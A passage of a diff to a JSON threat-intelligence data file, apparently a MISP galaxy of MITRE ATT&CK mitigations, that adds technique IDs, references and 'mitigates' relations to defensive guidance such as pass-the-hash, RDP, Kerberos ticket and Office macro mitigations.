"01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf", + "value": "Windows Management Instrumentation Mitigation - T1047" + }, + { + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "meta": { + "external_id": "T1065", + "refs": [ + "https://attack.mitre.org/techniques/T1065", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe", + "value": "Uncommonly Used Port Mitigation - T1065" + }, + { + "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", + "meta": { + "external_id": "T1075", + "refs": [ + "https://attack.mitre.org/techniques/T1075" + ] + }, + "related": [ + { + "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "value": "Pass the Hash Mitigation - T1075" + }, + { + "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)", + "meta": { + "external_id": "T1076", + "refs": [ + "https://attack.mitre.org/techniques/T1076", + "https://security.berkeley.edu/node/94", + "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + ] + }, + "related": [ + { + "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6", + "value": "Remote Desktop Protocol Mitigation - T1076" + }, + { + "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", + "meta": { + "external_id": "T1096", + "refs": [ + "https://attack.mitre.org/techniques/T1096", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks", + "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", + "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + ] + }, + "related": [ + { + "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5", + "value": "NTFS File Attributes Mitigation - T1096" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1069", + "refs": [ + "https://attack.mitre.org/techniques/T1069", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987", + "value": "Permission Groups Discovery Mitigation - T1069" + }, + { + "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1077", + "refs": [ + "https://attack.mitre.org/techniques/T1077", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5", + "value": "Windows Admin Shares Mitigation - T1077" + }, + { + "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1097", + "refs": [ + "https://attack.mitre.org/techniques/T1097", + "https://adsecurity.org/?p=556", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + ] + }, + "related": [ + { + "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d", + "value": "Pass the Ticket Mitigation - T1097" }, { "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", "meta": { - "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8" + "external_id": "T1089", + "refs": [ + "https://attack.mitre.org/techniques/T1089" + ] }, - "value": "Disabling Security Tools Mitigation" - }, - { - "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307" - }, - "value": "System Time Discovery Mitigation" - }, - { - "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries.[[CiteRef::Microsoft GitHub Device Guard CI Policies]][[CiteRef::Exploit Monday Mitigate Device Guard Bypases]][[CiteRef::GitHub mattifestation DeviceGuardBypass]][[CiteRef::SubTee MSBuild]]", - "meta": { - "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0" - }, - "value": "Trusted Developer Utilities Mitigation" - }, - { - "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for [[Privilege Escalation]] weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", - "meta": { - "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf" - }, - "value": "Modify Existing Service Mitigation" - }, - { - "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [[Technique/T1111|Two-Factor Authentication Interception]] techniques for some two-factor authentication implementations.", - "meta": { - "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2" - }, - "value": "External Remote Services Mitigation" - }, - { - "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit.[[CiteRef::SRD EMET]]", - "meta": { - "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502" - }, - "value": "Exploitation of Vulnerability Mitigation" + "related": [ + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8", + "value": "Disabling Security Tools Mitigation - T1089" }, { "description": "Prevent files from having a trailing space after the extension.", "meta": { - "uuid": "e6be0c76-b484-431c-a0b5-4a2ec0357fa7" + "external_id": "T1151", + "refs": [ + "https://attack.mitre.org/techniques/T1151" + ] }, - "value": "Space after Filename Mitigation" + "related": [ + { + "dest-uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22", + "value": "Space after Filename Mitigation - T1151" }, { - "description": "Prevent adversaries from gaining access to credentials through [[Credential Access]] that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] and Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.", "meta": { - "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d" + "external_id": "T1214", + "refs": [ + "https://attack.mitre.org/techniques/T1214" + ] }, - "value": "Graphical User Interface Mitigation" + "related": [ + { + "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "4490fee2-5c70-4db3-8db5-8d88767dbd55", + "value": "Credentials in Registry Mitigation - T1214" }, { - "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [[Technique/T1078|Valid Accounts]]. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform [[Lateral Movement]] between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", + "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e" + "external_id": "T1124", + "refs": [ + "https://attack.mitre.org/techniques/T1124", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] }, - "value": "Pass the Hash Mitigation" + "related": [ + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307", + "value": "System Time Discovery Mitigation - T1124" }, { - "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf" + "external_id": "T1217", + "refs": [ + "https://attack.mitre.org/techniques/T1217", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Windows Management Instrumentation Mitigation" + "related": [ + { + "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", + "value": "Browser Bookmark Discovery Mitigation - T1217" }, { - "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", + "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)", "meta": { - "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b" + "external_id": "T1127", + "refs": [ + "https://attack.mitre.org/techniques/T1127", + "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html", + "https://github.com/mattifestation/DeviceGuardBypassMitigationRules", + "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md" + ] }, - "value": "Local Port Monitor Mitigation" + "related": [ + { + "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0", + "value": "Trusted Developer Utilities Mitigation - T1127" }, { - "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.[[CiteRef::NSA Spotting]]", + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", "meta": { - "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025" + "external_id": "T1128", + "refs": [ + "https://attack.mitre.org/techniques/T1128", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] }, - "value": "Windows Remote Management Mitigation" + "related": [ + { + "dest-uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec", + "value": "Netsh Helper DLL Mitigation - T1128" }, { - "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.", "meta": { - "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3" + "external_id": "T1219", + "refs": [ + "https://attack.mitre.org/techniques/T1219" + ] }, - "value": "Network Service Scanning Mitigation" + "related": [ + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "af093bc8-7b59-4e2a-9da8-8e839b4c50c6", + "value": "Remote Access Tools Mitigation - T1219" }, { - "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", "meta": { - "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac" + "external_id": "T1133", + "refs": [ + "https://attack.mitre.org/techniques/T1133" + ] }, - "value": "Security Support Provider Mitigation" + "related": [ + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", + "value": "External Remote Services Mitigation - T1133" }, { - "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.[[CiteRef::ADSecurity AD Kerberos Attacks]]\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.[[CiteRef::CERT-EU Golden Ticket Protection]]\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.", "meta": { - "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d" + "external_id": "T1134", + "refs": [ + "https://attack.mitre.org/techniques/T1134", + "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object", + "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + ] }, - "value": "Pass the Ticket Mitigation" + "related": [ + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", + "value": "Access Token Manipulation Mitigation - T1134" }, { - "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe" + "external_id": "T1135", + "refs": [ + "https://attack.mitre.org/techniques/T1135", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Uncommonly Used Port Mitigation" + "related": [ + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21", + "value": "Network Share Discovery Mitigation - T1135" }, { - "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.", + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)", "meta": { - "uuid": "658ca7e1-d263-464d-ae76-8cae670d0e54" + "external_id": "T1137", + "refs": [ + "https://attack.mitre.org/techniques/T1137", + "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/", + "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", + "https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/" + ] }, - "value": "Setuid and Setgid Mitigation" + "related": [ + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea", + "value": "Office Application Startup Mitigation - T1137" }, { - "description": "Holding the Shift key while logging in prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]]. This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 